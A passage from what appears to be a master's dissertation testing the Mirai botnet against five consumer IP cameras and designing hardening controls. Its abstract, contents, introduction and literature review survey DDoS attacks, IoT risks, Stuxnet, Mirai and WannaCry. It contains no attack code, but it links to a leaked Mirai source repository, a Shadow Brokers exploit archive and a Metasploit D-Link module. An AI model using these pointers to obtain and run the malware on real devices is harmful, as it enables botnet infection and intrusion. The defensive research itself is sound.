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Abstract
The internet that we know and use every day is the internet of people, a
collection of knowledge and data that can be accessed anywhere is the world
anytime from many devices. The internet of the future is the Internet of
Things. The Internet of Things is a collection of automated technology that is
designed to be run autonomously, but on devices designed for humans to use.
In 2016 the Mirai malware has shown there are underlying vulnerabilities in
devices connected to the internet of things. Mirai is specifically designed to
recognise and exploit IoT devices and it has been used in record breaking
attacks since 2016.
The overall aim of the research is to explore the Mirai malware and it’s
security impact on IoT devices to research if there are security controls that
can mitigate against it.
The final purpose is to create a set of security controls based on best practice
and industry standards. These controls will then be applied to the devices to
see if the malware is as effective when the controls are in place.
The study presents an experiment and research as a theoretical framework for
understanding how Mirai and the IoT devices are structured. Furthermore, an
experiment will be performed exposing the devices to the malware to define
the attack vectors used as well as designing security controls to mitigate the
effect of the malware and then repeated when the controls have been
implemented on the devices to comprehend their validity.
Keywords: Security, IoT, Networked Devices, IoT Cameras, IoT Security
II
Acknowledgments
I would first like to thank my thesis supervisor Dr. Luca Longo of the School of
Computing at Dublin Institute of Technology. He consistently pushed me in the
right direction, and gave me a scare when I needed it.
I would also like to thank some of the many experts who were involved in the
research parts of this project, notably: J. Wolfgang Goerlich & Javvad Malik.
Finally, I must express my very profound gratitude to my family and to my partner
Giulia for providing me with unfailing support and continuous encouragement
throughout my studies and through the process of researching and writing this
thesis. This accomplishment would not have been possible without them.
Thank you.
III
Contents
Declaration I
Abstract II
Acknowledgments II
List of Figures VIII
List of Tables X
1 Introduction 1
1.1 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
1.2 Project Description . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Research Aims and Objectives . . . . . . . . . . . . . . . . . . . . . . . 3
1.4 Research Methodologies . . . . . . . . . . . . . . . . . . . . . . . . . . 4
1.5 Scope and Limitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
1.6 Organisation of Dissertation . . . . . . . . . . . . . . . . . . . . . . . . 6
2 Literature review and related work 8
2.1 The state of the art . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.2 2016: The Year of the DDoS attacks . . . . . . . . . . . . . . . . . . . 10
2.3 Types of IoT devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
2.4 Risk of the IoT device . . . . . . . . . . . . . . . . . . . . . . . . . . . 15
2.5 Types of malware and botnets . . . . . . . . . . . . . . . . . . . . . . . 17
2.5.1 What is malware . . . . . . . . . . . . . . . . . . . . . . . . . . 17
2.5.2 Dangers of malware . . . . . . . . . . . . . . . . . . . . . . . . . 18
2.5.3 What is a botnet . . . . . . . . . . . . . . . . . . . . . . . . . . 19
IV
2.5.4 Modern day examples . . . . . . . . . . . . . . . . . . . . . . . 19
2.6 Limitations and critical review of literature . . . . . . . . . . . . . . . . 21
2.7 Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.8 Research Question . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
3 Design / methodology 25
3.1 Aim of the experiment . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
3.2 Constants and Benchmarks . . . . . . . . . . . . . . . . . . . . . . . . 26
3.3 Experiment Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
3.3.1 Preparation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
3.3.2 Setup Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3.3.3 Results Gathering . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.3.4 Results Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . 39
3.3.5 Design of security controls . . . . . . . . . . . . . . . . . . . . . 40
3.3.6 Implementation of security controls . . . . . . . . . . . . . . . . 40
3.4 Strengths and Limitations of Designed Solution . . . . . . . . . . . . . 41
3.5 Assumptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
4 Implementation / Experiment 43
4.1 Code Inspection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43
4.2 Device Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
4.2.1 D-link DCS-932L . . . . . . . . . . . . . . . . . . . . . . . . . . 44
4.2.2 Motorola FOCUS66-W . . . . . . . . . . . . . . . . . . . . . . . 45
4.2.3 Coolead IP/Network Camera . . . . . . . . . . . . . . . . . . . 46
4.2.4 Maginon IPC-10AC . . . . . . . . . . . . . . . . . . . . . . . . . 47
4.2.5 DVR186 - CCTV - IP Camera . . . . . . . . . . . . . . . . . . . 48
V
4.3 Baseline Comparison . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
4.4 Phase Breakdown . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
4.4.1 Stage 1 - Device setup . . . . . . . . . . . . . . . . . . . . . . . 55
4.4.2 Stage 2 - Exposure to Malware . . . . . . . . . . . . . . . . . . 56
4.4.3 Stage 3 - Security controls . . . . . . . . . . . . . . . . . . . . . 59
4.4.4 Stage 4 - Expose malware to hardening devices . . . . . . . . . 60
4.5 Results Breakdown . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
4.6 Findings Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
4.7 Strengths and Weaknesses . . . . . . . . . . . . . . . . . . . . . . . . . 64
5 Evaluation / Analysis 68
5.1 Results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68
5.1.1 D-link DCS-932L . . . . . . . . . . . . . . . . . . . . . . . . . . 69
5.1.2 Motorola FOCUS66-W . . . . . . . . . . . . . . . . . . . . . . . 70
5.1.3 Coolead IP/Network Camera . . . . . . . . . . . . . . . . . . . 71
5.1.4 Maginon IPC-10AC . . . . . . . . . . . . . . . . . . . . . . . . . 72
5.1.5 Zosi DVR186 - CCTV -IP Camera . . . . . . . . . . . . . . . . 73
5.2 Discussion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
6 Conclusion & Future Work 76
6.1 Problem Definition & Research Overview . . . . . . . . . . . . . . . . . 76
6.2 Experimentation, Evaluation & Limitations . . . . . . . . . . . . . . . 77
6.2.1 Experimentation . . . . . . . . . . . . . . . . . . . . . . . . . . 77
6.2.2 Evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
6.2.3 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78
6.3 Contribution and Impact . . . . . . . . . . . . . . . . . . . . . . . . . . 79
VI
6.4 Future Work & Recommendations . . . . . . . . . . . . . . . . . . . . . 80
References 82
7 Appendix I 87
8 Appendix II 92
VII
List of Figures
1 Devices connected to the internet by the millions by year . . . . . . . . 12
2 Increase in the volumetric size of attacks in kbps by year . . . . . . . . 12
3 Direct correltation between the increase of devices connected and
volumetric size of attacks by year . . . . . . . . . . . . . . . . . . . . . 13
4 The killer init function in Mirai . . . . . . . . . . . . . . . . . . . . . . 28
5 Mirai maliciously targeting any competing programs via memory
matching. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
6 Network diagram of experiment infrastructure. . . . . . . . . . . . . . . 32
7 Code snippet of Mirai malware where IP addresses are generated, where
the internal networks are excluded from Mirai’s scope. . . . . . . . . . . 34
8 Edited code to include scoped range. . . . . . . . . . . . . . . . . . . . 34
9 Some of the credentials Mirai uses to exploit devices . . . . . . . . . . . 35
10 ELF headers that Mirai recognises . . . . . . . . . . . . . . . . . . . . . 36
11 Virtual Machine Settings . . . . . . . . . . . . . . . . . . . . . . . . . . 37
12 Mirai command interface after authentication . . . . . . . . . . . . . . 38
13 Command web prompt available on Motorola device. . . . . . . . . . . 50
14 Using VLC player to intercept camera stream . . . . . . . . . . . . . . 52
15 Prompt for credentials user:pass was successful . . . . . . . . . . . . . . 52
16 Intercepted stream in VLC player . . . . . . . . . . . . . . . . . . . . . 53
17 Motorola application with temperature . . . . . . . . . . . . . . . . . . 53
18 File upload functionality via firmware upgrade . . . . . . . . . . . . . . 54
19 Interaction with camera available on /test.html . . . . . . . . . . . . . 54
20 Mirai loader attempting to authenticate to device . . . . . . . . . . . . 57
21 Errors show authentication attempts . . . . . . . . . . . . . . . . . . . 57
VIII
22 Mirai command prompt . . . . . . . . . . . . . . . . . . . . . . . . . . 58
23 Cost Comparison graph . . . . . . . . . . . . . . . . . . . . . . . . . . 66
24 Setting of VMware machines in VMware Player 12 . . . . . . . . . . . . 93
25 hosts file example. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
26 Encoded URL in code snippet. . . . . . . . . . . . . . . . . . . . . . . . 96
27 Database setting for experiment . . . . . . . . . . . . . . . . . . . . . . 97
28 Files in browser via directory listing . . . . . . . . . . . . . . . . . . . . 100
IX
List of Tables
1 Device specifics for D-link DCS-932L . . . . . . . . . . . . . . . . . . . 45
2 Device specifics for Motorola FOCUS66-W . . . . . . . . . . . . . . . . 46
3 Device specifics for Coolead IP/Network Camera . . . . . . . . . . . . . 47
4 Device specifics for Maginon IPC-10AC . . . . . . . . . . . . . . . . . . 48
5 Device specifics for DVR186 - CCTV - IP Camera . . . . . . . . . . . . 49
6 Device and Default OS credentials . . . . . . . . . . . . . . . . . . . . . 55
7 Device and Poor security implementation . . . . . . . . . . . . . . . . . 55
8 Results of compromised devices . . . . . . . . . . . . . . . . . . . . . . 59
9 Results of devices after security controls are implemented . . . . . . . . 61
10 Results of compromised devices . . . . . . . . . . . . . . . . . . . . . . 61
11 Results of devices after security controls are implemented . . . . . . . . 62
12 Results table for D-link DCS-932L . . . . . . . . . . . . . . . . . . . . . 69
13 Results table for Motorola FOCUS66-W . . . . . . . . . . . . . . . . . 70
14 Results table for Coolead IP/Network Camera . . . . . . . . . . . . . . 71
15 Results table for Maginon IPC-10AC . . . . . . . . . . . . . . . . . . . 72
16 Results table for Zosi DVR186 - CCTV -IP Camera . . . . . . . . . . . 73
X
1 Introduction
1.1 Background
According to Symantec, In 2016 there was large increase in cyber-attacks across the
globe, ”with a twofold increase in attempted attacks against IoT devices”1. These
attacks can be split into smaller subsections, vulnerability based, social attacks and
into targeted and broad-spectrum attacks. Of these attacks, one of the most
devastating is the distributed denial-of-service (DDoS) attack. A DDoS attack occurs
when multiple systems flood the bandwidth or resources of a targeted system,
usually one or more servers that can have one or many purposes. Such an attack is
often the result of multiple compromised systems flooding the targeted system with
traffic. These systems are typically part of a larger group of compromised machines
controlled by a botmaster. The botmaster uses malware to exploit these machines
and take control of them. The most popular malware of 2016 is called Mirai and its
source code was leaked by an anonymous web forum user in October 2016. Mirai is
innovative in the IoT or the internet of things world because it is designed to target
and exploit IoT devices.
The first mention of the internet of things was in 1999 by Kevin Ashton, this was
originally a reference to the use of RFID (radio frequency identification) in everyday
devices and later evolved into the inter-connectivity of devices as opposed to just the
identification(Ashton, 2009). In 2016 there were approximately 6.4 billion devices
connected to the internet, more than ever before according to Gartner researchers.
Gartner, Inc. forecasts that 8.4 billion connected things will be in use worldwide in
2017, up 31 percent from 2016, and will reach 20.4 billion by 2020. The largest
1https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf
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user-base of these devices are based in China, North America and Western Europe,
with the regions accounting for 67% of the overall IoT install base in 2017(Gartner
Says 8.4 Billion Connected , 2017). Of the devices that are connected, refrigerators,
coffee machines, TVs and cameras, there are many uses, and the connectivity offers
many new uses for these devices. Many of these devices use Linux based
distributions.
IoT devices were chosen for this research because of the low security controls that
are applied during their development and manufacturing. In October 2016 the source
code for the Mirai malware was leaked and according to the source code leaker,
anna-senpai, they could get 380k bots by using the Mirai Malware to hijack
devices(Hackerforums - Mirai Botnet CNC source code release, 2016). This
represents a staggering number of exposed devices that have poor security
configurations. With so many devices used during an attack, it is possible to take
nearly any website offline with a targeted DDoS attack.
The research question has come from a doubt the author has had regarding the
reported security incidents that have stemmed from IoT devices in 2016. Each DDoS
attack seemed to increase in size while there was no respite or mitigation apart from
the solutions suggested and provided by the DDoS mitigation vendors. The DDoS
protection and mitigation market was estimated to be worth over $800 million in
2016 with growth projected to nearly triple by 2021, according to marketwatch.com
research from February 20172. It is the authors belief that there is a simpler solution
to this issue and that finding a root cause of the problem in IoT devices will improve
the overall field of IoT security related issues.
2http://www.marketwatch.com/story/ddos-protection-and-mitigation-market-worth
-21629-million-usd-by-2021-2017-02-10-10203115
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This piece of work will take a small subsection of IoT devices to analyse and aim to
design a set of controls that will increase the security of the device to make it secure
against malware.
1.2 Project Description
This study wants to contribute to the investigation of the negative impact malware
has on IoT devices, and investigate the way in while Mirai is exploiting these devices.
An experiment will take place exposing the Mirai malware to 5 IP cameras in a lab
environment to assess the exploit-ability of the devices using their out of the box,
default settings. The scope of the analysis will be 5 IP cameras chosen based on
prices ranged between e20-e70 with cameras chosen from the lower and higher end
of the market. Based on the findings from the cameras exposure to Mirai the project
seeks to develop a set of security configuration changes that will be applied to the
devices and then the experiment will be repeated with the devices with applied
security configuration changes. The results of the experiment will then be discussed
and compared with conclusions as to their feasibility and impact. Through an
iterative process the problem has been framed, analysed and addressed with a
literature review, a series of interviews and hands on analysis of the devices.
1.3 Research Aims and Objectives
The primary aim of this dissertation is to determine if a strictly defined security
configuration for IoT devices mitigate the risk of exploitation by botnet malware.
This would allow regular IoT consumers as well as organisations to be able to more
securely incorporate the use of IoT technology without the risk of exposure to
malicious attackers by applying a few changes to the default device during
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implementation.
The main objectives of the dissertation can be broken down as follows:
1. Determine the problems related to security and their implementation with IoT
devices. In order to achieve this a code inspection took place of the malware
with an emphasis on highlighting the exploitation techniques used, which gave
a breakdown of key areas of security that need to be considered.
2. To test the chosen IoT devices using the latest malware designed for such devices
to discover the correlations between device and exploitation.
3. To design and test security controls based on the common weaknesses of each
device. By addressing each fault, the experiment is then run again after resetting
the device to prove the security controls implemented after reset have the desired
impact.
4. To identify topics for research that may improve and expand the knowledge
within this domain.
1.4 Research Methodologies
Hypothesis (H0)
IoT Linux based devices with a strictly defined configuration will be
exploited by the Mirai botnet malware less than IoT devices with their
default settings left enabled.
Objective (O1)
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The objective of the research is to show that current default security
configurations do not provide an acceptable level of security on an IoT
device.
Objective (O2)
IoT devices with a strictly defined security configuration will be exploited by
botnet malware less than IoT devices with their default settings left enabled.
Objective 1 has been completed by investigating the hypothesis using a combination
of literature review and interview. As the research in the area is limited to blogs and
some white-papers the interviews were an integral part of understanding the needs of
organisations as well as how IoT devices are impacting the technology world. It has
been achieved by the discovery of security holes in the IoT devices analysed and with
the successful implementation of security controls. The experiment allowed for the
design of security controls that in some cases completely neutralised the malware
attacks.
Objective 2 has been achieved by running a series of experiments centred around the
setting up of the Mirai botnet in a lab environment where an attempt at exploitation
was made. The attempts both successful and unsuccessful were recorded and
analysed to all the recording of attack traffic from Mirai. When addressing an issue
that is so prevalent in society and portrayed so harshly by the media it is usually
because it is not understood, if it was possible to identify some areas that are not
completely understood, or even find an easier way to explain parts that are generally
misunderstood that would be the objective satisfied.
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1.5 Scope and Limitation
The budget for the thesis was covered by the author. This includes the hardware
necessary for the experiments. During the experiment setup phase, upon
implementation it was found that there was no way to completely clone the devices
without compromising them first. The bulk of data on the devices before and after is
from the command and control that presents information based on devices exploited.
The tools needed for the experiment were gathered using open source tools. There
were no commercial tools used in this experiment. If Celebrite3 or another such
forensic tool was used it may have been possible to get more information from the
devices before exploitation. To implement the security controls the devices had to be
exploited. Exploitation was limited to brute forcing password and using a Metasploit
module4 to gain admin control on the devices.
1.6 Organisation of Dissertation
The dissertation is organised as follows:
Chapter 2 - Literature review and related work
The state of the art. The initial phase will involve a literary review to look at similar
studies within the internet of things industry with a focus on the security industry.
Different types of malware will be analysed to see how they have impacted the world
and in the different forms they present themselves. An analysis will be done looking
at the questions posed to the security experts that have been interviewed as well as
an analysis of the answers they have provided. Discussion about challenges and
3http://www.cellebrite.com/
4https://www.rapid7.com/db/modules/exploit/linux/http/dlink dcs 930l
authenticated remote command execution
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limitations will be included as well as the path to the eventual research question.
Chapter 3 - Design / methodology
Will focus on the experiment as well as the design and implementation. The
structure of data and the layout of the experiment will be designed with the aim of
making the replication of the experiments as easy as possible. The experiment needs
to be designed so that when a variable is changed such as a security control, the
experiment can be run immediately after in a clean and effective manner.
Chapter 4 - Implementation / results
Will focus on the practical implementation of the experiment. The implementation
will differ from the design as certain challenges are met and overcome, this is not
unexpected. This section will show the details of the experiment with a brief
overview of the results.
Chapter 5 - Evaluation / analysis
The results and data from chapter 4 will be outlined and analysed for comparison
with the research question and assumptions made in chapter 2. A delta analysis of
all data will take place to see the impact the malware, or the lack of impact as may
be the case.
Chapter 6 - Conclusion
This will be the closing out chapter with an overview of all carried out work. Further
areas of interest will be highlighted for potential investigation and research to
improve on the results ascertained in this dissertation.
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2 Literature review and related work
A large amount of work has gone into compiling this data. Data has been compiled
from many forms these include interviews, code inspections and experiments.
2.1 The state of the art
The potential for damage via malicious attacker differs from organisation to
organisation and the more an organisation invests in new technology the the larger
the potential attack surface becomes. In 1999 Furnell and Warren in their paper
Computer Hacking and Cyber Terrorism: The real threats in the new Millennium?,
the authors voice their concerns about the potential attacks that may take place
because of modern societies dependence on technology. They specifically reference
healthcare, banking, manufacturing, transportation and government, and state that
lack of foresight and accidental incidents are not their concerns but the more
alarming scenario in which technology infrastructures or services are targeted
deliberately (Furnell & Warren, 1999). It may seem like common knowledge in 2017
that security is a major concern for organisations, but the authors are writing this in
1999 where Google is an unknown one year old company and the Apple iPod is still 2
years away from release, so it was quite perceptive of the authors.
In May 2017 the NHS (UK National Health Service) came under attack from an
exploit leveraging the eternalblue Windows exploit leaked in March 20175. This
incident was performed by attacking un-patched Windows machines which have had
a patch available from March 20176. While this attack has and will continue to have
considerable impact on lives and the actual day to day running of health services in
5https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
6https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
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the UK, it may not be monetary value that the attackers are looking to gain(“The
WannaCry ransomware attack”, 2017). Considering a security issue is only a security
issue until it impacts the well-being of users and then it turns into a safety issue. It
is the fact that the health services external infrastructure constitute ’low-hanging
fruit’ in the security world as they typically need functionality as opposed to
efficiency, the introduction and use of new technology is second only to power
companies in their slow adaption and implementation(Long, Skoudis, & van
Eijkelenborg, 2005; Wiles, 2008). This can mean that one un-maintained machine
can provide a gateway into an organisations networks, from this single gateway an
attacker could leverage exploitable machines across the whole internal infrastructure
to spread malware(Dave, 2016). While this is true in many industries, the fear that
can be caused in introducing malware to the health services industry in not to be
underestimated. The ultimate target in these attacks isn’t the industry itself, it’s the
aftershock of concern that reverberates through all elements of society when the
attack appears to target the most vulnerable members of society. One method that
malware is being delivered to organisaitons is via compromised IoT technology,
which allows for the anonymous targeting of attacks. Currently malware and its
impact has not vastly outperformed older styles of malware. The WannaCry
malware of May 2017 is dangerous, but it is leveraging known vulnerabilities which
means it is avoidable. It, like the IoT malware Mirai, is designed for a large spread
as opposed to tailored attacks like Stuxnet which was specifically designed to spread
via Windows machines to target Siemen built PLC’s. this will be discussed more is
Chapter 2 Part 3.4.
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2.2 2016: The Year of the DDoS attacks
Is there a need or use to have fridges, weighing scales and microwaves connected
to the internet? While arguments can be made for TVs, drones and fitness bands,
most other IoT devices fall into the novelty category. In 2015 Alex Drozhzhin of
Kaspersky Security, describes this connectivity as the ’Internet of Crappy Things’ 7.
This may come across as a broad statement, but the author is emphasising that there
has been a line that has been crossed by product designers when it comes to novelty and
functionality with the inclusion of functions such as Wi-Fi just because of the monetary
value it adds to the final selling price of the product. According to Martin McKaey of
Akamai, There has been a massive increase in not just the frequency but the volumetric
size of attacks with DDoS attacks frequently passing 350Gbps in 2016(McKeay, 2016).
In September 2016 an attack exceeding 620 GBps targeted the popular cyber-security
blog of Brian Krebs. The attack was nearly double previously seen attacks and only
after Akamai stopped providing free DDoS protection as it was impacting their other
customers, did the attack take KrebsOnSecurity8 offline(Hallman, Bryan, Palavicini,
Divita, & Romero-Mariona, 2017). In October 2016 the KrebsOnSecurity attack was
followed up with an attack on Dyn, a company who control much of the internet’s
DNS (domain name service), which essentially provides a map for all internet users to
get to certain websites. The attack reportedly reached 1.2Tbps which doubled again
the previous record for DDoS attacks, and took down the services of Amazon, BBC,
GitHub, Spotify and Netflix to name but a few(Dyn Statement on 10/21/2016 DDoS
Attack | Dyn Blog , 2016).
7https://blog.kaspersky.com/internet-of-crappy-things/7667/
8https://krebsonsecurity.com/
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If we look at the quarterly reports from Akamai9 and Arbor networks , some interesting
trends can be established as to what IoT devices have had to offer to the DDoS world.
Akamai and Arbor share statistics and meta-data on specific types of attacks that
happen over the course of a year broken down into quarterly reports(Labovitz, 2010;
Visualizing Global Internet Performance | Akamai , 2016). With these results and the
years, the following graph was designed give an idea as to how DDoS attacks have
increased in volume.
9In December 2013 Akamai bought Prolexic a leader in the cloud-based DDoS mitigation services
space. Data pre-acquisition will be placed under the Akamai header although it should be noted
that Prolexic were completely independent of Akamai at the time.https://www.akamai.com/us/en/
about/news/press/2014-press/akamai-completes-acquisition-of-prolexic.jsp
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Figure 1: Devices connected to the internet by the millions by year
Figure 2: Increase in the volumetric size of attacks in kbps by year
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Daniel Smith of Radware (leaders in DDoS mitigation technology) expects that
attackers are only starting to see the potential in DDoS attacks. (Smith, 2016) Javvad
Malik of AlienVault (leaders in open source threat intelligence) has stated that the
Mirai botnet has given us the first real glimpse into the power of an IoT botnet and
the damage that can be done. (Malik, 2016)
Figure 3: Direct correltation between the increase of devices connected and volumetric size of
attacks by year
It may not be just a coincidence that the increase of devices connected to the internet
correlates to the increase in the size of DDoS attacks. There are other factors to take
into account such as technology, access to internet and the ease of purchasing a botnet
or DDoS as a service(Mansfield-Devine, 2016). When J Wolfgang Goerlich was asked,
Do you believe security is a problem when it comes to IoT devices?, he stated.
Yes, but, it’s the same rate of defects we’ve always seen. So IoT isn’t uniquely security
13
deficient. The problem with IoT is the volume of devices, and the resulting network
effects that criminals will use to their advantage.
This brings the research to a potential root cause for the problem, it has already
been shown that the amount of devices connected to the internet correlates with the
increase in size of DDoS attacks, but this doesn’t seem to be that IoT devices are
Crappy like Alex has pointed out. What Wolf is saying is that of the devices available
in the IoT world, a percentage of them will have little or no security implemented, the
sheer number of devices available means that the percentage of these devices is still
going to be astronomical compared to the number of exposed devices even 10 years
ago10.
2.3 Types of IoT devices
There are many types of IoT devices, they are typically categorised together into the
following groups.
 Wearables are a type of technology that can be worn on the body as an accessory
or as part of clothing. Wearables examples include Apple watches, Fitbit’s,
Jawbone and Garmin GPS.
 Smart cars are bringing the term automobile to a whole new level. Car
technology is one of the fastest growing verticals in the world with the likes of
Tesla leading they way with its innovative technology. The idea of a
self-driving car is no longer just for science fiction writing, with prototype cars
clocking up millions of miles a year doing automated testing.
 Smarter homes have advanced massively in the last 10 years with companies
10https://www.shodan.io
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such as Google and Amazon buying up technology and releasing their own for
the target of home domination. Security is one of the biggest selling motivators
when it comes to smart homes, the ability to monitor and view your home when
you are not there has become a motivator to give people real piece of mind.
Smart thermostats can be a real quality of life investment for a small fee, with
devices such as Nest and Tado cooling, the traditional thermostat is on its way
out.
 Smart cities refers to how a city embraces technology in an intelligent and
sustainable format. Features of smart cities include Wi-Fi access everywhere,
smart lighting and intelligent traffic systems.
2.4 Risk of the IoT device
There are many risks for devices that are connected to the internet. Devices are
made up to two major components each of which can include design flaws. Hardware
is less susceptible to design flaws as they are typically less complex and therefore it is
easier to test every single input and its expected outcome. Risks in software are due
to more factors being in place during the design and implementation, some of the
risks according to Joseph Migga Kizza’s computer network security include human
factors, software complexity and trusting software sources that should come under
more scrutiny. The Human factors of defective software include poor attention to
detail, tight deadlines, untested algorithms, malicious and complacent software
developers. Software complexity stem from two main parts, the design and
misunderstanding of the technology, the possibilities increase exponential in software
as each input sequence can produce billions of incomes which make it very difficult to
test(Kizza, 2005a). This problem is increased if a developer does not appreciate this
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during the foundational stages of software creation(Shin & Williams, 2008). Kizza’s
third factor is blindly trusting sources of data and stated that Even if we want to
trace the authorship of the software product, it is impossible because software
companies are closed within months of their opening. Chances are when a software
product is 2 years old, its producer is likely to be out of business. Software that you
cannot attest for its quality control should not be used in products by designers as it
has a high potential of bringing hostile code into trusted systems(Kizza, 2005b). In
2014 one of the most widely used and audited cryptographic libraries OpenSSL had
a design flaw from 2012 publicly disclosed which rendered the encryption null and
void on approximately 17% of encrypted websites11. According to Netcraft’s 2014
survey about 66% of all websites utilising encryption are using OpenSSL as their
preferred library12.
Risks such as patching and implementation based risks are more prevalent with the
amount of new technology and stacks that are being utilised by organisations
globally. The risks of missing patches is something that can be seen in the media
every week and according to the edgescan stats report 77% of all vulnerability can be
mitigated by implementing a strong patching policy within your organisation13.
Vermesan and Freiss in Section 5.4 of Internet of Things Applications - From
Research and Innovation to Market Deployment talk about the design of IoT devices
to monitor users from a medical point of view. There are really deep role based
permissions and well as privacy by design with the limitation hard coded on the
types of data that are sent to a user or a monitor, the example they use is instead of
11http://heartbleed.com/
12https://news.netcraft.com/archives/2014/04/02/april-2014-web-server-survey.html
13https://www.edgescan.com/assets/docs/reports/2016-edgescan-stats-report.pdf
16
getting an exact GPS location, or seeing the speed and direction of the devices being
monitored an aggregated and averaged sample is sent to the application main server
for an update. This will allow anonymity for the users and allows very limited
control from the admin leaving all the settings to be configured during the setup
stage(Vermesan & Friess, 2014).
While this is great because there is security implemented in the design process it
brings up some ethical questions. Should this be the same system for an ankle
bracelet used to monitor people under house arrest? Traditionally an ankle monitor
just checks if a user is within a certain distance from a specified location. There is
scope to increase this with more control given to an administrator and the
implementation above is used.
2.5 Types of malware and botnets
In order to have a better understanding of malware, research was conducted to see
different types of malware and to get a greater understanding of the impact that
they have on their victims and the perpetrators. A deep knowledge of malware is not
needed, but an understanding of the iconic and most prevalent malware allows for a
greater appreciation of the economic benefit as well as the cultural prowess creating
such impactful malware can present the creators.
2.5.1 What is malware
Malware is a term used for malicious software. Malicious software is developed by
hackers to steal data identities, cause harm to computers, and deny legitimate
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services to users, among others(Masud, Khan, & Thuraisingham, 2011). Malware
comes in many shapes and sizes, and has many names. Viruses, spyware, worms and
trojan horses all fall under the malware family. These have been the staple of the
anti-virus world for the past 30 year, but modern adaptions to these include the likes
of cryptoware and ransomware.(Bettany & Halsey, 2017)
2.5.2 Dangers of malware
The one thing all the members of the malware family have in common is they are out
to act maliciously. This can be in the form of stealing credentials, spying on an
unsuspecting user or stealing data.
In 2015 the authors of Understanding DDoS Attacks From Mobile Devices talk
about some scary concepts. There is already existing Android malware, if someone
was to weaponise this malware and use it like Mirai is being used currently, the
damage potential could be massive. The good point here is that it would only be
temporary as it’s possible to update Android devices remotely and/or render them
unusable (Samsung Note 7)(Farina, Cambiaso, Papaleo, & Aiello, 2015).
In Internet of Things Applications - From Research and Innovation to Market
Deployment Vermesan and Freiss reference an IoT refrigerator that could have its
temperature control altered by a malicious attacker. While this may spoil some food,
on a grander scale it could be used in an attack against a hospital or medical
company to spoil transplant parts and in turn likely cause deaths(Vermesan & Friess,
2014).
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2.5.3 What is a botnet
A botnet is a group of computers that are controlled from a single source and run
related software programs and scripts14. While botnets can be used for distributed
computing purposes, such as a scientific processing, the term usually refers to
multiple computers that have been infected with malicious software. According to
the paper Botnet spoofing: fighting botnet with itself, Botnets are the root cause of
many Internet attacks such as e-mail spam, extortion through distributed denial
of-service, seeding malware, online identity theft, and click fraud(Xiang, Lihua,
Shuyuan, Zhiyu, & Shuhao, 2015).
2.5.4 Modern day examples
Stuxnet
Stuxnet is a malicious computer worm that is the first of its kind to cause physical
damage across international boundaries. It is the first instance of weaponised
malware. It was first created in 2010 by unknown entities, most sources assume it
was a collaboration between the British GCHQ and the Israelis (Kenney, 2015).
Stuxnet is one of the most interesting pieces of malware as its attack space was so
specific. It was designed to specifically target a piece of Siemens Step 7 software that
controlled PLC’s (programmable logic controllers). This means that regardless the
machine that Stuxnet was on, if it was not a specific type of PLC controller it didn’t
do anything other than spread to the next host(“Stuxnet analysis finds more holes in
critical software”, 2011). The ultimate target of Stuxnet was the centrifuges that are
used to refine uranium, Stuxnet would cause the centrifuges to spin uncontrollably
until it tears itself apart. The intention was to stop or at least slow down Iran’s
14https://techterms.com/definition/botnet
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progression to nuclear weapons. William J. Lynn a former US Deputy Secretary of
Defense said that bits and bytes can be as threatening as bullets and bombs
(William J., 2011), and based on the impact Stuxnet had on the world I would have
to agree.
Mirai
The most popular IoT malware of 2016 is called Mirai and its source code15 was
leaked by an anonymous web forum user in October 201616 . Mirai was designed to
exploit IoT devices using a range of simple techniques focuses around the
enumeration of user accounts based on credentials. While this is in essence a brute
force attack, there is a limit of 62 attempts to gain access before it moves onto
another device. If a identifying header is exposed by the device such as CISCO, or
SONY, Mirai will only use the default credentials associated with each of those
devices models. IoT devices were chosen because of the low security controls that are
applied during creation. According to the source code leaker they could get 380k
bots by using Mirai. This represents a staggering number of exposed devices that
have poor security configurations(Hackerforums - Mirai Botnet CNC source code
release, 2016) . With so many devices it is possible to take nearly any website offline.
WannaCry
WannaCry is a piece of ransomware that ravaged the internet in May 2017. It was
based on an exploit leaked by the shadow brokers on April17 and weaponised shortly
after18. WannaCry/WCry/WCrypt/Wana Decryptor were the names assigned to a
weaponised version of the Microsoft exploit19 which was originally discovered by the
15https://github.com/davidkennefick/Mirai-Source-Code
16https://hackforums.net/showthread.php?tid=5420472
17https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
18https://github.com/misterch0c/shadowbroker/
19https://technet.microsoft.com/en-us/library/security/ms17-010
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NSA who did not make Microsoft aware of the vulnerability. WannaCry works using
a SMB (server message block) exploit which exploits a machine and then looks to use
the exploited machine as a launchpad into an organisations internal network. The
frenzy that ensued in the NHS was captured by the media, with many parties calling
it cyber-terrorism, this was not the first time this has happened either with medical
organisaiton all over the world being hit in October 2016(“Hospitals become major
target for ransomware”, 2016). Graham Cluley an independent security consultant
states, The NHS was not targeted. They’re just a huge organisation which has had
